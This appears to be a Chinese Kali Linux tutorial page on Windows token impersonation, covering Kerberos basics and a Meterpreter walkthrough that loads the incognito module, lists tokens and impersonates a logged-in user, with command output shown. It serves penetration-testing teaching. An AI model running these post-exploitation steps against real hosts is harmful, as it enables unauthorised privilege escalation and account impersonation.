使用假冒令牌可以假冒一个网络中的另一个用户进行各种操作,如提升用户权限、创建用户和组等。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。当一个用户登录Windows系统时,它被给定一个访问令牌作为它认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当它使用令牌便可假冒域管理员进行工作。当它处理完任务时,通常会丢弃该令牌权限。这样,入侵者将利用这个弱点,来提升它的访问权限。本节将介绍在Meterpreter Shell下实现假冒令牌攻击。

7.1.1 工作机制

在假冒令牌攻击中需要使用了Kerberos协议。所以在使用假冒令牌前,先介绍下Kerberos协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos工作机制如图7.1所示。

图7.1 Kerberos工作机制

客户端请求证书的过程如下所示:

(1)客户端向认证服务器(AS)发送请求,要求得到服务器的证书。

(2)AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥session key)。当然,认证服务器会将该证书给服务器也发送一份,用来使服务器认证登录客户端身份。

(3)客户端将ticket传送到服务器上,服务器确认该客户端的话,便允许它登录服 务器。

(4)这样客户端登录成功后,攻击者就可以通过入侵服务器来获取到客户端的令牌。

7.1.2 使用假冒令牌

为了获取一个Meterpreter Shell,用户必须使用Metasploit去攻击一台主机后才可成功建立Meterpreter会话。对于使用Metasploit攻击主机的方法,在第6章有详细介绍,这里就不再赘述。使用令牌假冒的具体操作步骤如下所示。

(1)启动Meterpreter会话。执行命令如下所示:

msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >

从输出的信息可以看到,成功启动了Meterpreter会话。

(2)使用use incognito命令加载incognito模块,然后列举出令牌。执行命令如下所示:

meterpreter > use incognito
Loading extension incognito…success.

输出的信息表示成功加载incognito模块。然后可以通过查看帮助信息,了解列举令牌的命令。执行命令如下所示:

以上输出信息显示incognito模块下的所有命令。从输出的信息中可以看到列举当前有效的令牌命令是list_tokens。执行以上命令后将输出大量信息,由于篇幅原因,部分内容使用省略号(……)取代了。

(3)列举所有令牌。执行命令如下所示:

meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
===============================================
AA-886OKJM26FSW\Test
Impersonation Tokens Available
===============================================
No tokens available

从输出的信息可以看到分配的有效令牌有AA-886OKJM26FSW\Test。其中AA-886OKJM26FSW表示目标系统的主机名,Test表示登录的用户名。

(4)使用impersonate_token命令假冒Test用户进行攻击。执行命令如下所示:

meterpreter > impersonate_token AA-886OKJM26FSW\\Test
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user AA-886OKJM26FSW\Test

从输出的信息中可以看到假冒Test用户成功。此时就可以通过提升自己的权限,在目标系统中进行任何操作了。

注意:在输入HOSTNAME\USERNAME的时候需要输入两个反斜杠(\)。

Kali-linux使用假冒令牌的更多相关文章

  1. Kali linux 2016.2 的 plyload模块之meterpreter plyload详解

    不多说,直接上干货! 前期博客 Kali linux 2016.2(Rolling)中的payloads模块详解 当利用成功后尝试运行一个进程,它将在系统进程列表里显示,即使在木马中尝试执行系统命令, ...

  2. MetaSploit攻击实例讲解------工具Meterpreter常用功能介绍(kali linux 2016.2(rolling))(详细)

    不多说,直接上干货! 说在前面的话 注意啦:Meterpreter的命令非常之多,本篇博客下面给出了所有,大家可以去看看.给出了详细的中文 由于篇幅原因,我只使用如下较常用的命令. 这篇博客,利用下面 ...

  3. kali linux下的arp攻击

    这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...

  4. kali linux之窥看女神上网隐私(ettercap+wireshark+zenmap +dsniff)

    作者:小波 http://www.cnblogs.com/xiaobo-Linux/ 无聊就玩了玩,不要干一些坏事哟~~网上也有一些文章关于kali linux的,就实战了一番.kali是用的debi ...

  5. KALI Linux problems & Study Red Hat | Ubuntu

    Problem When you ask some website with https head.you may met the problem  secure connection failed ...

  6. 调整Kali Linux的锁屏时间

    调整Kali Linux的锁屏时间   锁屏是保护隐私的一种重要机制.当用户不操作电脑一段时间后,系统会进入锁屏状态.用户需要输入口令,才能重新进入系统.避免因为操作人员离开电脑后,被其他人员利用现有 ...

  7. Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

    Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...

  8. windows下 安装Kali Linux到 U盘的方法

    作者:玄魂工作室 \ 2016年10月20日 把Kali Linux安装到U盘好处很多,可以从U盘启动使用整个电脑的硬件资源, 可以随身携带,减少对自己电脑的影响. 今天要给大家讲的是如何在windo ...

  9. [原创]kali linux下破解wifi密码以及局域网渗透

    无线破解是进行无线渗透的第一步.破解无线目前只有两种方法:抓包.跑pin. 破解无线方法一:抓包.我是在kali linux下进行的. 将无线网卡的模式调为监听模式. airmon-ng start ...

  10. 分享Kali Linux 2016.2第50周虚拟机

    分享Kali Linux 2016.2第50周虚拟机该虚拟机使用Kali Linux 2016.2第50周的64位镜像安装而成.基本配置如下:(1)该系统默认设置单CPU双核,内存为2GB,硬盘为50 ...

随机推荐

  1. 分布式ID生成器PHP+Swoole实现(下) - 代码实现

    上篇文章主要介绍<实现原理>,这篇看主要代码的编写. 实现IDGenerator类 64位ID由以下元素组成:固定位占2位,时间戳占41位,服务实例数字编号占4位,业务编号占10位,自增i ...

  2. Oracle数据库基本操作(三) —— DQL相关内容说明及应用

    本文所使用的查询表来源于oracle数据中scott用户中的emp员工表和dept部门表. 一.基本语法 SQL语句的编写顺序: select 输出的列 from 表名 where 条件 group ...

  3. sql 模糊搜素拼接

    if($irb_order!=''){ $condition .= " AND d.irb_order like '%".$irb_order."%'"; } ...

  4. Redis实现分布式锁2

    redisTemplate实现分布式锁 /** * 分布式锁-加锁 * @param key * @param value 当前时间+超时时间 System.currentTimeMillis()+t ...

  5. js类的笔记

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. PyCharm导入包的问题

    在此之前,我们说一下虚拟环境这个概念: 在django项目中,直接就安装各种package,可能会造成系统混乱,因为package之间会有依赖的.比方说,你现在直接装django,他会依赖其他的包(开 ...

  7. Android 自定义简易的方向盘操作控件

    最近在做一款交互性较为复杂的APP,需要开发一个方向操作控件.最终用自定义控件做了一个简单的版本. 这里我准备了两张素材图,作为方向盘被点击和没被点击的背景图.下面看看自定义的Wheel类 publi ...

  8. JS的排序算法

    排序是最基本的算法(本文排序为升序Ascending),常见的有以下几种: 1.冒泡排序 Bubble Sort 2.选择排序 Selection Sort 3.插入排序 Insertion Sort ...

  9. CentOS 7.2mini版本下编译安装php7.0.10+MySQL5.7.14+Nginx1.10.1

    一.安装前的准备工作 1.yum update    #更新系统 1.1)vi /etc/selinux/config #  禁止SELINUX,设置SELINUX=disabled 2.yum in ...

  10. restframework类继承图